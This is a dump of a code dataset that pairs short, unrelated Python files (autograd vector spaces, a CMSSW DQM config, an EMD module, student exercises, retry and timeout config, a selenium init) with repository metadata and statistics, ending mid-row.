self.size = sum(s.size for s in self.shape)
self.sequence_type = type(value)
assert self.sequence_type in (tuple, list)
def zeros(self):
return self.sequence_type(x.zeros() for x in self.shape)
def mut_add(self, xs, ys):
return self.sequence_type(vs.mut_add(x, y)
for vs, x, y in zip(self.shape, xs, ys))
def flatten(self, value, covector=False):
if self.shape:
return np.concatenate(
[vs.flatten(v, covector) for vs, v in zip(self.shape, value)])
else:
return np.zeros((0,))
def unflatten(self, value, covector=False):
result = []
start = 0
for vs in self.shape:
N = vs.size
result.append(vs.unflatten(value[start:start + N], covector))
start += N
return self.sequence_type(result)
register_vspace(SequenceVSpace, list)
register_vspace(SequenceVSpace, tuple)
class DictNode(Node):
__slots__ = []
def __getitem__(self, idx): return dict_take(self, idx)
def __len__(self): return len(self.value)
def __iter__(self): return self.value.__iter__()
def items(self): return list(self.iteritems())
def keys(self): return list(self.iterkeys())
def values(self): return list(self.itervalues())
def iteritems(self): return ((k, self[k]) for k in self)
def iterkeys(self): return iter(self)
def itervalues(self): return (self[k] for k in self)
register_node(DictNode, dict)
@primitive
def dict_take(A, idx):
return A[idx]
def grad_dict_take(g, ans, vs, gvs, A, idx):
return dict_untake(g, idx, vs)
dict_take.defvjp(grad_dict_take)
@primitive
def dict_untake(x, idx, vs):
def mut_add(A):
A[idx] = vs.shape[idx].mut_add(A[idx], x)
return A
return SparseObject(vs, mut_add)
dict_untake.defvjp(lambda g, ans, vs, gvs, x, idx, _: dict_take(g, idx))
dict_untake.defvjp_is_zero(argnums=(1, 2))
def make_dict(pairs):
keys, vals = zip(*pairs)
return _make_dict(make_list(*keys), make_list(*vals))
@primitive
def _make_dict(keys, vals):
return dict(zip(keys, vals))
_make_dict.defvjp(lambda g, ans, vs, gvs, keys, vals: make_list(*[g[key] for key in keys]),
argnum=1)
class DictVSpace(VSpace):
def __init__(self, value):
self.shape = {k : vspace(v) for k, v in iteritems(value)}
self.size = sum(s.size for s in self.shape.values())
def zeros(self):
return {k : v.zeros() for k, v in iteritems(self.shape)}
def mut_add(self, xs, ys):
return {k : v.mut_add(xs[k], ys[k])
for k, v in iteritems(self.shape)}
def flatten(self, value, covector=False):
if self.shape:
return np.concatenate(
[s.flatten(value[k], covector)
for k, s in sorted(iteritems(self.shape))])
else:
return np.zeros((0,))
def unflatten(self, value, covector=False):
result = {}
start = 0
for k, s in sorted(iteritems(self.shape)):
N = s.size
result[k] = s.unflatten(value[start:start + N], covector)
start += N
return result
register_vspace(DictVSpace, dict)
| 34.552147 | 91 | 0.649148 | 823 | 5,632 | 4.256379 | 0.132442 | 0.035969 | 0.01199 | 0.017985 | 0.384528 | 0.33143 | 0.316871 | 0.265487 | 0.209535 | 0.147873 | 0 | 0.00414 | 0.227983 | 5,632 | 162 | 92 | 34.765432 | 0.801518 | 0 | 0 | 0.304965 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.007092 | 1 | 0.269504 | false | 0 | 0.042553 | 0.177305 | 0.531915 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 3 |
b6b9caeebc32813369795932495c71aeac2c4847 | 244 | py | Python | statuscheck/services/sentry.py | amureki/statuscheck | caff92ef211f1fd2bf6c8a18ba8243eb434bc0df | [
"Apache-2.0"
] | 35 | 2018-10-22T06:04:55.000Z | 2022-02-01T10:20:00.000Z | statuscheck/services/sentry.py | amureki/statuscheck | caff92ef211f1fd2bf6c8a18ba8243eb434bc0df | [
"Apache-2.0"
] | 209 | 2018-10-22T11:44:57.000Z | 2022-03-31T04:02:37.000Z | statuscheck/services/sentry.py | amureki/statuscheck | caff92ef211f1fd2bf6c8a18ba8243eb434bc0df | [
"Apache-2.0"
] | 2 | 2020-06-05T02:41:19.000Z | 2020-09-03T07:03:46.000Z | from statuscheck.services.bases._statuspageio import BaseStatusPageAPI
class ServiceAPI(BaseStatusPageAPI):
name = "Sentry"
domain_id = "t687h3m0nh65"
status_url = "https://status.sentry.io"
service_url = "https://sentry.io/"
| 27.111111 | 70 | 0.737705 | 26 | 244 | 6.769231 | 0.730769 | 0.090909 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.033654 | 0.147541 | 244 | 8 | 71 | 30.5 | 0.8125 | 0 | 0 | 0 | 0 | 0 | 0.245902 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.166667 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 3 |
b6ba87cd65c4a5ebab94e9028834ee5c431dddfa | 4,145 | py | Python | DQM/HLTEvF/test/hlt_jetmet_test_dqm_fromfile_cfg.py | ckamtsikis/cmssw | ea19fe642bb7537cbf58451dcf73aa5fd1b66250 | [
"Apache-2.0"
] | 852 | 2015-01-11T21:03:51.000Z | 2022-03-25T21:14:00.000Z | DQM/HLTEvF/test/hlt_jetmet_test_dqm_fromfile_cfg.py | ckamtsikis/cmssw | ea19fe642bb7537cbf58451dcf73aa5fd1b66250 | [
"Apache-2.0"
] | 30,371 | 2015-01-02T00:14:40.000Z | 2022-03-31T23:26:05.000Z | DQM/HLTEvF/test/hlt_jetmet_test_dqm_fromfile_cfg.py | ckamtsikis/cmssw | ea19fe642bb7537cbf58451dcf73aa5fd1b66250 | [
"Apache-2.0"
] | 3,240 | 2015-01-02T05:53:18.000Z | 2022-03-31T17:24:21.000Z | import FWCore.ParameterSet.Config as cms
process = cms.Process("DQM")
process.load("DQM.HLTEvF.HLTMonitor_cff")
process.load("DQMServices.Core.DQM_cfg")
process.load("DQMServices.Components.DQMEnvironment_cfi")
process.maxEvents = cms.untracked.PSet(
input = cms.untracked.int32(100)
)
process.source = cms.Source("PoolSource",
fileNames = cms.untracked.vstring(
### TTbar 3
'/store/relval/CMSSW_3_0_0_pre3/RelValQCD_Pt_80_120/GEN-SIM-DIGI-RAW-HLTDEBUG/STARTUP_30X_v1/0004/1C51253D-D4CC-DD11-89EC-001D09F23A6B.root',
'/store/relval/CMSSW_3_0_0_pre3/RelValQCD_Pt_80_120/GEN-SIM-DIGI-RAW-HLTDEBUG/STARTUP_30X_v1/0004/26FB4A24-D2CC-DD11-845E-0019B9F72F97.root',
'/store/relval/CMSSW_3_0_0_pre3/RelValQCD_Pt_80_120/GEN-SIM-DIGI-RAW-HLTDEBUG/STARTUP_30X_v1/0004/30EE04C0-CACC-DD11-96CF-000423D99658.root',
'/store/relval/CMSSW_3_0_0_pre3/RelValQCD_Pt_80_120/GEN-SIM-DIGI-RAW-HLTDEBUG/STARTUP_30X_v1/0004/362BA44E-D2CC-DD11-8BAB-001617DBD5B2.root',
'/store/relval/CMSSW_3_0_0_pre3/RelValQCD_Pt_80_120/GEN-SIM-DIGI-RAW-HLTDEBUG/STARTUP_30X_v1/0004/6459EFC9-D7CC-DD11-8D80-001617DBCF6A.root',
'/store/relval/CMSSW_3_0_0_pre3/RelValQCD_Pt_80_120/GEN-SIM-DIGI-RAW-HLTDEBUG/STARTUP_30X_v1/0004/6AD9D6F6-D3CC-DD11-909A-001617C3B79A.root',
'/store/relval/CMSSW_3_0_0_pre3/RelValQCD_Pt_80_120/GEN-SIM-DIGI-RAW-HLTDEBUG/STARTUP_30X_v1/0004/7890DAB6-CDCC-DD11-968C-000423DD2F34.root',
'/store/relval/CMSSW_3_0_0_pre3/RelValQCD_Pt_80_120/GEN-SIM-DIGI-RAW-HLTDEBUG/STARTUP_30X_v1/0004/ACCC88FA-CFCC-DD11-AE2D-001D09F24637.root',
'/store/relval/CMSSW_3_0_0_pre3/RelValQCD_Pt_80_120/GEN-SIM-DIGI-RAW-HLTDEBUG/STARTUP_30X_v1/0004/ACFCB5C4-BCCC-DD11-832F-001D09F253C0.root',
'/store/relval/CMSSW_3_0_0_pre3/RelValQCD_Pt_80_120/GEN-SIM-DIGI-RAW-HLTDEBUG/STARTUP_30X_v1/0004/B2A7BEBE-CCCC-DD11-824A-000423D98E54.root',
'/store/relval/CMSSW_3_0_0_pre3/RelValQCD_Pt_80_120/GEN-SIM-DIGI-RAW-HLTDEBUG/STARTUP_30X_v1/0004/C2BBDEF8-CBCC-DD11-A8A0-001617DBD5AC.root',
'/store/relval/CMSSW_3_0_0_pre3/RelValQCD_Pt_80_120/GEN-SIM-DIGI-RAW-HLTDEBUG/STARTUP_30X_v1/0004/C65BB6E9-59CD-DD11-95F1-0030487A1990.root',
'/store/relval/CMSSW_3_0_0_pre3/RelValQCD_Pt_80_120/GEN-SIM-DIGI-RAW-HLTDEBUG/STARTUP_30X_v1/0004/D2BB240F-D3CC-DD11-9921-001617C3B5E4.root',
'/store/relval/CMSSW_3_0_0_pre3/RelValQCD_Pt_80_120/GEN-SIM-DIGI-RAW-HLTDEBUG/STARTUP_30X_v1/0004/DA78BADE-BCCC-DD11-AE39-0030487BC68E.root',
'/store/relval/CMSSW_3_0_0_pre3/RelValQCD_Pt_80_120/GEN-SIM-DIGI-RAW-HLTDEBUG/STARTUP_30X_v1/0004/DAA706E0-BDCC-DD11-AD9E-001D09F2432B.root',
'/store/relval/CMSSW_3_0_0_pre3/RelValQCD_Pt_80_120/GEN-SIM-DIGI-RAW-HLTDEBUG/STARTUP_30X_v1/0004/DC28FB7D-D5CC-DD11-A689-001D09F231C9.root',
'/store/relval/CMSSW_3_0_0_pre3/RelValQCD_Pt_80_120/GEN-SIM-DIGI-RAW-HLTDEBUG/STARTUP_30X_v1/0004/E02F1FE1-D4CC-DD11-AF0C-001D09F231C9.root',
'/store/relval/CMSSW_3_0_0_pre3/RelValQCD_Pt_80_120/GEN-SIM-DIGI-RAW-HLTDEBUG/STARTUP_30X_v1/0004/EAB4B18D-CFCC-DD11-B952-0030487C608C.root',
'/store/relval/CMSSW_3_0_0_pre3/RelValQCD_Pt_80_120/GEN-SIM-DIGI-RAW-HLTDEBUG/STARTUP_30X_v1/0004/FAE75F4C-C0CC-DD11-97B1-001617C3B706.root',
'/store/relval/CMSSW_3_0_0_pre3/RelValQCD_Pt_80_120/GEN-SIM-DIGI-RAW-HLTDEBUG/STARTUP_30X_v1/0004/FC1FE58F-CCCC-DD11-9198-001617DBCF90.root'
)
)
process.MessageLogger = cms.Service("MessageLogger",
detailedInfo = cms.untracked.PSet(
threshold = cms.untracked.string('INFO')
),
critical = cms.untracked.PSet(
threshold = cms.untracked.string('ERROR')
),
debugModules = cms.untracked.vstring('*'),
cout = cms.untracked.PSet(
threshold = cms.untracked.string('WARNING'),
WARNING = cms.untracked.PSet(
limit = cms.untracked.int32(0)
),
noLineBreaks = cms.untracked.bool(True)
),
destinations = cms.untracked.vstring('detailedInfo',
'critical',
'cout')
)
process.p = cms.EndPath(process.dqmSaver)
process.DQMStore.verbose = 0
process.DQM.collectorHost = ''
process.dqmSaver.convention = 'Online'
process.dqmSaver.saveByRun = 1
process.dqmSaver.saveAtJobEnd = True
| 62.80303 | 145 | 0.785766 | 651 | 4,145 | 4.721966 | 0.230415 | 0.071568 | 0.104099 | 0.110605 | 0.568966 | 0.568966 | 0.568966 | 0.527001 | 0.527001 | 0.527001 | 0 | 0.17944 | 0.077684 | 4,145 | 65 | 146 | 63.769231 | 0.62464 | 0.001689 | 0 | 0.070175 | 0 | 0.350877 | 0.707234 | 0.689572 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.017544 | 0 | 0.017544 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
b6ce2aec2391ea0b9093ac93109f9105c5b3043c | 1,076 | py | Python | projects/PointsColletion/pointscollection/layers/emd/modules/emd.py | li-haoran/detectron2 | 84aebaaed19b07cce9dfd579f98b09ad4ed22e90 | [
"Apache-2.0"
] | null | null | null | projects/PointsColletion/pointscollection/layers/emd/modules/emd.py | li-haoran/detectron2 | 84aebaaed19b07cce9dfd579f98b09ad4ed22e90 | [
"Apache-2.0"
] | null | null | null | projects/PointsColletion/pointscollection/layers/emd/modules/emd.py | li-haoran/detectron2 | 84aebaaed19b07cce9dfd579f98b09ad4ed22e90 | [
"Apache-2.0"
] | null | null | null | # EMD approximation module (based on auction algorithm)
# memory complexity: O(n)
# time complexity: O(n^2 * iter)
# author: Minghua Liu
# input:
# p1, p2: [#batch, #points, 3]
# where p1 is the predicted point cloud and p2 is the ground truth point cloud
# two point clouds should have same size and be normalized to [0, 1]
# #points should be a multiple of 1024
# #batch should be no greater than 512
# eps is a parameter which balances the error rate and the speed of convergence
# iters is the number of iteration
# we only calculate gradient for p1
# Output:
# dist: [#batch, #points], sqrt(dist) -> L2 distance
# assignment: [#batch, #points], index of the matched point in the ground truth point cloud
# the result is an approximation and the assignment is not guranteed to be a bijection
import torch
from torch import nn
from..functions.emd import emd_function
class emdModule(nn.Module):
def __init__(self):
super(emdModule, self).__init__()
def forward(self, p1, p2, eps, iters):
return emd_function(p1, p2, eps, iters)
| 30.742857 | 91 | 0.715613 | 168 | 1,076 | 4.52381 | 0.565476 | 0.015789 | 0.031579 | 0.05 | 0.063158 | 0 | 0 | 0 | 0 | 0 | 0 | 0.024447 | 0.201673 | 1,076 | 35 | 92 | 30.742857 | 0.860303 | 0.703532 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | false | 0 | 0.375 | 0.125 | 0.875 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 3 |
b6dff72d70ac2ad0638bfd3497907c8deb6f393f | 167 | py | Python | CursoEmVideo/Aula07/ex013.py | lucashsouza/Desafios-Python | abb5b11ebdfd4c232b4f0427ef41fd96013f2802 | [
"MIT"
] | null | null | null | CursoEmVideo/Aula07/ex013.py | lucashsouza/Desafios-Python | abb5b11ebdfd4c232b4f0427ef41fd96013f2802 | [
"MIT"
] | null | null | null | CursoEmVideo/Aula07/ex013.py | lucashsouza/Desafios-Python | abb5b11ebdfd4c232b4f0427ef41fd96013f2802 | [
"MIT"
] | null | null | null | sal = float(input('Digite seu salario: R$'))
aum = sal * 0.15
print('Parabens, você ganhou um aumento de 15%')
print('Seu novo salario é de R${}'.format(sal + aum)) | 41.75 | 53 | 0.658683 | 29 | 167 | 3.793103 | 0.689655 | 0.127273 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.035971 | 0.167665 | 167 | 4 | 53 | 41.75 | 0.755396 | 0 | 0 | 0 | 0 | 0 | 0.527273 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.5 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 3 |
b6f0097f2059d2d9b097d5fd295d4ac7fbf4e17b | 1,067 | py | Python | game/spaceship/module.py | shycoldii/asteroids | 3e06e68dff6e5a4ec87444ae94bd40c77e31515b | [
"MIT"
] | null | null | null | game/spaceship/module.py | shycoldii/asteroids | 3e06e68dff6e5a4ec87444ae94bd40c77e31515b | [
"MIT"
] | null | null | null | game/spaceship/module.py | shycoldii/asteroids | 3e06e68dff6e5a4ec87444ae94bd40c77e31515b | [
"MIT"
] | null | null | null | from pygame.math import Vector2
from game.base.base import BasicObject
class AbstractModule(BasicObject):
"""Абстрактный модуль, гаджет, навес для spaceship"""
def __init__(self, display, space_pos, space_size, space_head):
super().__init__(display)
self._space_size = space_size
self._pos = self._calc_position(space_pos, space_head)
self._started = False
def started(self):
"""Статус: включен-выключен"""
return self._started
def start(self):
"""Включает модуль"""
self._started = True
def stop(self):
"""Выключает модуль"""
self._started = False
@property
def position(self):
"""Копия текущей позиции модуля"""
return Vector2(self._pos)
def _calc_position(self, space_pos, space_head):
"""Расчитать позицию относительно spaceship"""
pass
def update(self, space_pos, space_head):
"""Обновляет расположение, состояние"""
pass
def draw(self):
"""Отображает модуль"""
pass
| 24.813953 | 67 | 0.63074 | 117 | 1,067 | 5.495727 | 0.452991 | 0.049767 | 0.080871 | 0.079316 | 0.065319 | 0 | 0 | 0 | 0 | 0 | 0 | 0.002538 | 0.261481 | 1,067 | 42 | 68 | 25.404762 | 0.813452 | 0.212746 | 0 | 0.217391 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.347826 | false | 0.130435 | 0.086957 | 0 | 0.565217 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 3 |
b6ffd2696b9f634b1125ab8580ad189db011c7f4 | 253 | py | Python | source-code-from-author-book/Listings-for-Second-Edition/listing_1_15.py | robrac/algorithms-exercises-with-python | 5780171517eacc1c7133fdc32cf079623cd14cf9 | [
"MIT"
] | null | null | null | source-code-from-author-book/Listings-for-Second-Edition/listing_1_15.py | robrac/algorithms-exercises-with-python | 5780171517eacc1c7133fdc32cf079623cd14cf9 | [
"MIT"
] | null | null | null | source-code-from-author-book/Listings-for-Second-Edition/listing_1_15.py | robrac/algorithms-exercises-with-python | 5780171517eacc1c7133fdc32cf079623cd14cf9 | [
"MIT"
] | null | null | null | def setNextPin(self,source):
if self.pinA == None:
self.pinA = source
else:
if self.pinB == None:
self.pinB = source
else:
raise RuntimeError("Error: NO EMPTY PINS")
| 28.111111 | 57 | 0.474308 | 26 | 253 | 4.615385 | 0.576923 | 0.1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.434783 | 253 | 8 | 58 | 31.625 | 0.839161 | 0 | 0 | 0.25 | 0 | 0 | 0.079051 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0 | null | null | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
8e0bf2d45dfd6e0b97aceb7f22a0e37420a6dce5 | 167 | py | Python | problem0217.py | kmarcini/Project-Euler-Python | d644e8e1ec4fac70a9ab407ad5e1f0a75547c8d3 | [
"BSD-3-Clause"
] | null | null | null | problem0217.py | kmarcini/Project-Euler-Python | d644e8e1ec4fac70a9ab407ad5e1f0a75547c8d3 | [
"BSD-3-Clause"
] | null | null | null | problem0217.py | kmarcini/Project-Euler-Python | d644e8e1ec4fac70a9ab407ad5e1f0a75547c8d3 | [
"BSD-3-Clause"
] | null | null | null | ###########################
#
# #217 Balanced Numbers - Project Euler
# https://projecteuler.net/problem=217
#
# Code by Kevin Marciniak
#
###########################
| 18.555556 | 39 | 0.479042 | 14 | 167 | 5.714286 | 0.928571 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.040541 | 0.113772 | 167 | 8 | 40 | 20.875 | 0.5 | 0.580838 | 0 | null | 0 | null | 0 | 0 | null | 0 | 0 | 0 | null | 1 | null | true | 0 | 0 | null | null | null | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
8e0d08f5530176dfcb7574842571feb83189d573 | 1,644 | py | Python | config.py | oogway/pyhystrix | 941de918d0433aaae958cb6de87ec32d6d943bb4 | [
"MIT"
] | 15 | 2017-11-26T16:04:33.000Z | 2020-04-16T02:49:50.000Z | config.py | oogway/pyhystrix | 941de918d0433aaae958cb6de87ec32d6d943bb4 | [
"MIT"
] | 1 | 2021-06-01T21:20:18.000Z | 2021-06-01T21:20:18.000Z | config.py | last9/pyhystrix | 941de918d0433aaae958cb6de87ec32d6d943bb4 | [
"MIT"
] | 1 | 2021-07-29T16:52:26.000Z | 2021-07-29T16:52:26.000Z | """Constants that will be used to define default
behaviour. Can be overridden by setting env vars
"""
import os
import requests
import logging
log_levels = {
logging.getLevelName(logging.CRITICAL): logging.CRITICAL,
logging.getLevelName(logging.ERROR): logging.ERROR,
logging.getLevelName(logging.WARNING): logging.WARNING,
logging.getLevelName(logging.INFO): logging.INFO,
logging.getLevelName(logging.DEBUG): logging.DEBUG
}
logger = logging.getLogger("pyhystrix")
level = os.environ.get("PHY_LOG")
logger.setLevel(log_levels.get(level, logging.WARNING))
logger.addHandler(logging.StreamHandler())
class Config(object):
@staticmethod
def connect_timeout():
return int(os.environ.get("PYH_CONNECT_TIMEOUT", 5))
@staticmethod
def read_timeout():
return int(os.environ.get("PYH_READ_TIMEOUT", 5))
@staticmethod
def max_tries():
return int(os.environ.get("PHY_MAX_TRIES", 3))
@staticmethod
def backoff_factor():
return float(os.environ.get("PHY_BACKOFF_FACTOR", 0.5))
@staticmethod
def retriable_exceptions():
return (requests.exceptions.ConnectionError,)
@staticmethod
def method_whitelist():
return ['HEAD', 'GET']
@staticmethod
def status_forcelist():
return [500]
@staticmethod
def cb_fail_threshold():
return int(os.environ.get("PYH_CIRCUIT_FAIL_THRESHOLD", 5))
@staticmethod
def cb_alive_threshold():
return int(os.environ.get("PYH_CIRCUIT_ALIVE_THRESHOLD", 20))
@staticmethod
def cb_delay():
return int(os.environ.get("PYH_CIRCUIT_DELAY", 5))
| 25.292308 | 69 | 0.699513 | 196 | 1,644 | 5.709184 | 0.367347 | 0.134048 | 0.085791 | 0.096515 | 0.173369 | 0.154602 | 0.154602 | 0.071492 | 0 | 0 | 0 | 0.008942 | 0.183698 | 1,644 | 64 | 70 | 25.6875 | 0.824888 | 0.057178 | 0 | 0.222222 | 0 | 0 | 0.103046 | 0.034349 | 0 | 0 | 0 | 0 | 0 | 1 | 0.222222 | false | 0 | 0.066667 | 0.222222 | 0.533333 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 3 |
8e129a5dd5ce56a18e4bf1c6c8ee6d799374887d | 318 | py | Python | modules/name.py | onrcayci/python3-notes | 64f6708553a54a2b85641690e5e90444a0a68737 | [
"MIT"
] | null | null | null | modules/name.py | onrcayci/python3-notes | 64f6708553a54a2b85641690e5e90444a0a68737 | [
"MIT"
] | null | null | null | modules/name.py | onrcayci/python3-notes | 64f6708553a54a2b85641690e5e90444a0a68737 | [
"MIT"
] | null | null | null | """
__name__
When run, every Python file has a __name__ variable.
If the file is the main file being run/executed, its value is "__main__".
Otherwise, its value is the file name.
"""
# To ignore executable code on import
if __name__ == "__main__":
# this code will only run if the file is the main file
pass | 24.461538 | 73 | 0.720126 | 53 | 318 | 3.943396 | 0.528302 | 0.100478 | 0.086124 | 0.105263 | 0.210526 | 0.210526 | 0.210526 | 0 | 0 | 0 | 0 | 0 | 0.210692 | 318 | 13 | 74 | 24.461538 | 0.832669 | 0.833333 | 0 | 0 | 0 | 0 | 0.177778 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0.5 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 3 |
8e134e72e201eb3b080e13c59ab9963fb4dd6a5d | 44 | py | Python | Common/config.py | lkean9/GrabTaxi | 93d916dff777ac69ad83973fa00704ed2ae110ee | [
"MIT"
] | null | null | null | Common/config.py | lkean9/GrabTaxi | 93d916dff777ac69ad83973fa00704ed2ae110ee | [
"MIT"
] | null | null | null | Common/config.py | lkean9/GrabTaxi | 93d916dff777ac69ad83973fa00704ed2ae110ee | [
"MIT"
] | null | null | null | SECRET_KEY = "TOP_SECRET"
EXPIRATION = 1000
| 14.666667 | 25 | 0.772727 | 6 | 44 | 5.333333 | 0.833333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.105263 | 0.136364 | 44 | 2 | 26 | 22 | 0.736842 | 0 | 0 | 0 | 0 | 0 | 0.227273 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
8e3731f718e57164a53fc2dd11f980d626c81555 | 276 | py | Python | autoselenium/__init__.py | saizk/auto-selenium | 02c5ec3e02e4b36309002d8418be0d6a4ee56ebd | [
"MIT"
] | 2 | 2021-11-26T08:41:45.000Z | 2022-01-31T10:30:53.000Z | autoselenium/__init__.py | saizk/auto-selenium | 02c5ec3e02e4b36309002d8418be0d6a4ee56ebd | [
"MIT"
] | null | null | null | autoselenium/__init__.py | saizk/auto-selenium | 02c5ec3e02e4b36309002d8418be0d6a4ee56ebd | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
from autoselenium.driver import Driver
from autoselenium.download import download_driver, download_default_driver, get_version
__author__ = 'saizk'
__all__ = [
'Driver',
'download_driver',
'download_default_driver',
'get_version'
]
| 18.4 | 87 | 0.724638 | 30 | 276 | 6.133333 | 0.466667 | 0.228261 | 0.23913 | 0.315217 | 0.48913 | 0.48913 | 0.48913 | 0 | 0 | 0 | 0 | 0.004348 | 0.166667 | 276 | 14 | 88 | 19.714286 | 0.795652 | 0.076087 | 0 | 0 | 0 | 0 | 0.238095 | 0.09127 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.222222 | 0 | 0.222222 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
f3cce023c21f1bb035661f1e33b8822f11f74165 | 258 | py | Python | 11 new lesson STRING/11.25 family.py | zarina494/fisrt_git_lesson | 169fc205b3a99a84f1041d578c4c120555162a66 | [
"MIT"
] | null | null | null | 11 new lesson STRING/11.25 family.py | zarina494/fisrt_git_lesson | 169fc205b3a99a84f1041d578c4c120555162a66 | [
"MIT"
] | null | null | null | 11 new lesson STRING/11.25 family.py | zarina494/fisrt_git_lesson | 169fc205b3a99a84f1041d578c4c120555162a66 | [
"MIT"
] | null | null | null | def relation_to_Luke(name):
if name == 'Darv':
return 'Luke, I am your father'
elif name == 'Leila':
return ' Luke, i am your sister'
elif name == 'Han':
return ' Luke, i am your brother'
print(relation_to_Luke('Leila')) | 25.8 | 41 | 0.593023 | 37 | 258 | 4.027027 | 0.486486 | 0.201342 | 0.221477 | 0.261745 | 0.342282 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.27907 | 258 | 10 | 42 | 25.8 | 0.801075 | 0 | 0 | 0 | 0 | 0 | 0.332046 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.125 | false | 0 | 0 | 0 | 0.5 | 0.125 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
f3e860a7ce40aa332a6b28696a7ba5588e33d25d | 2,579 | py | Python | scraper/items.py | jheasly/open-health-inspection-scraper | 95c17782626041286996c6384a461c0798a7c61c | [
"Apache-2.0"
] | 2 | 2016-06-06T17:40:42.000Z | 2019-06-18T23:12:54.000Z | scraper/items.py | jheasly/open-health-inspection-scraper | 95c17782626041286996c6384a461c0798a7c61c | [
"Apache-2.0"
